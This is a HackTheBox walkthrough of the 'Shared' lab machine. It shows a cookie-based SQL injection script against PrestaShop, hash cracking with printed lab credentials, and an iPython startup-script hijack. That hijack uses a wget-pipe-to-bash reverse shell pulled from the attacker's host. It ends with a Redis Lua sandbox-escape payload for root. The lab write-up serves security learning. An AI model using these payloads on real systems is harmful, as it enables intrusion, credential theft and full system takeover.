Shared — Hackthebox Walkthrough

Kavishka Gihan
7 min readNov 12, 2022

--

Foothold

Nmap gives us 3 ports.

nmap -p- -sC -sV -A 10.10.11.172

PORT    STATE SERVICE  REASON  VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBljy8WbFpXolV3MJQIZVSUOoLE6xK6KMEF5B1juVK5pOmj3XlfkjDwPbQ5svG18n7lIuaeFMpggTrftBjUWKOk=
| 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIWVTnJGzAgwIazusSrn+ULowTr1vEHVIVQzxj0u2W+y
80/tcp open http syn-ack nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://shared.htb
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http syn-ack nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://shared.htb
| tls-nextprotoneg:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US/localityName=None
| Issuer: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US/localityName=None
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Adding shared.htb to my /etc/hosts file and visiting port 443, we get a web store.

One thing I found was that this was made using PrestaShop

Doing some vhost enumeration, we find 2 vhosts.

ffuf -u https://10.10.11.172/ -H 'Host: FUZZ.shared.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 169

Adding the entries again to the hosts config and visiting checkout.shared.htb we see a cart checkout landing page which lets us do the payments.

After poking around for a bit, I went ahead and added a couple of items to my cart from shared.htb.

And when I wanted to check out, I was redirected to checkout.shared.htb Looking at the request of this checkout, we see there is a cookie named custom_cart

Seems like there is a shared cookie between the 2 domains which keeps track of the things in the cart. When I URL decoded this cookie, I got some json data

I saw this value being displayed in the page as well.

With this seen, I wanted to mess with the cookie. Knowing that this was made using PrestaShop, I did a quick google search to find if there are any vulnerabilities regarding the cookie values in this platform. Looking through I found this

Which was an SQL injection vulnerability in SmartyCacheResourceMysql.php that can be exploited through the cookie values. If you look closely, at first the values form the cookie aren’t sanitized at all before passing them to the SQL query.

So it’s possible to do SQL injection without any issues. Knowing this I was able to successfully confirm the SQLI vulnerability.

  • Passing ' or 1=1 -- -gives the ID of the product
  • But passing ' or 1=2 -- - results in Not found

Now that that’s confirmed, to proceed from here, I made a little script for my ease.

import requests
import urllib, sys
while 1:
s = input('> ')
sqli = urllib.parse.quote('''{"%s -- -":"1"}''' % s)
h = {'Cookie': 'PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200e684e61b0fd9894b83a47797b8f9e0ad79a58f8c40449b7c618f0d3af267ec23e923ef3ce7e44a6dd89129c63f6bdf28709e4283f827f753d349ce4e50442d52b46bae248933ee2013805e60bc6f7a30989757cb75eda048b0361f4721000d72304f77b0af014350cdbe6d0acc6c1e63d53d543d45d0d28a252dfb9e740eae7fea7963ab99186dafd6f89d6f16b815f2132673f4eb13701f6aab46e9f4dd56bf68861e5897b2ef772b7669f7f1abf6ae4ebdb15b38bef19c8bb86af911771d3e4b871ab4a68199bf50f381e97eba734291959d3599d8436d31ff3a4856889a9e389c3e2fc2c10e8cace86b62f9fed75ec0166603886e73f19c3c648f758eca487f571e53c5ecea79116bf56e0d4fca13b878a836b02d1c0e2eaf; custom_cart='+sqli}r = requests.get('https://checkout.shared.htb', headers=h, verify=False)st = r.text.index('<th scope="row">')
print(r.text[st:2082])

With this I was able to enumerate the database easily. First I found the number columns this query returning as 3. Then I found out there was database called checkout with ' union select 1,database(),3 -- - With this, I guessed that there would be a user table. And I was right!

' union select 1,username,3 from checkout.user where id =1
' union select 1,password,3 from checkout.user where id =1

Likewise, I was able to get a valid username and the password hash from the database. After, I cracked the hash with hashcat and recovered the plain text password.

hashcat -m 0 hashes\shared.hashes wordlist\rockyou.txt

And with that, I was able to ssh into the box with these credentials.

USER: james_mason
PASS: Soleil101

User

Running pspy as james_mason I saw a cronjob running.

As you can see, this cronjob executed ipython after going into the /opt/script_review directory. One thing to know about ipython is that we can run pre-startup script with it. Like this advisory mentions, we can execute arbitrary python scripts in this manner.

For this,we need to make a profile_default/startup directory in /opt/script_review and put our python script there.

#!/bin/bash
mkdir -m 777 /opt/scripts_review/profile_default
mkdir -m 777 /opt/scripts_review/profile_default/startup
printf 'import os\nos.system("wget 10.10.14.28/shell.sh -q -O -|bash")\n' > /opt/scripts_review/profile_default/startup/kavi.py
chmod 777 -R /opt/scripts_review/profile_default/startup/*

This simple bash script will do the magic for us. As you can see it makes the directory in the correct location and gives the appropriate permissions to it. Once this is done, we just have to wait till the cron runs. Once it does, ipython will execute the kavi.py script which will wget shell.sh with my reverse shell in it and pipe it over to bash.

And I got a shell on my listener as dan_smith

Root

From the pspy before I saw there was a redis-server running in port 6379

We can connect to it with redis-cli But when we try to list the databases, we are asked for authentication

If we look at the groups that the dan_smith is a part of, we can find out that he is in the sysadmin group.

cat /etc/group

So we can try to find the files owned by the users in this group

find / -group sysadmin 2>/dev/null

And right off the bat, we get a file called redis_connector_dev . When we execute this script, it mentions that it’s trying to login to the redis server with the password.

Seems like it does login successfully. So what I did was, I copied the binary to my box, started a listener on port 6379 and executed the script. In my listener, I got something.

And we can see its’s trying to authenticate with auth command. That last string we got, seems like a password. And I was successfully able to authenticate with the redis-server with this password.

Looking at the info that redis_connector_dev gave, we can see the version of redis server as 6.0.15 Searching to exploits regarding this version, I found this.

Using this I was able to execute commands as root.

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

Rooted!

“If you have any questions, make sure to leave them down in the comments, or contact me through social media.”

Email — iamkavigihan@gmail.com
Instagram —
https://www.instagram.com/_kavi.gihan/
Discord — kavigihan#8518

Happy Hacking !!! 😄

--

--

Kavishka Gihan

Cyber Security Student | Machine author @hackthebox | find me on instagram @_kavi.gihan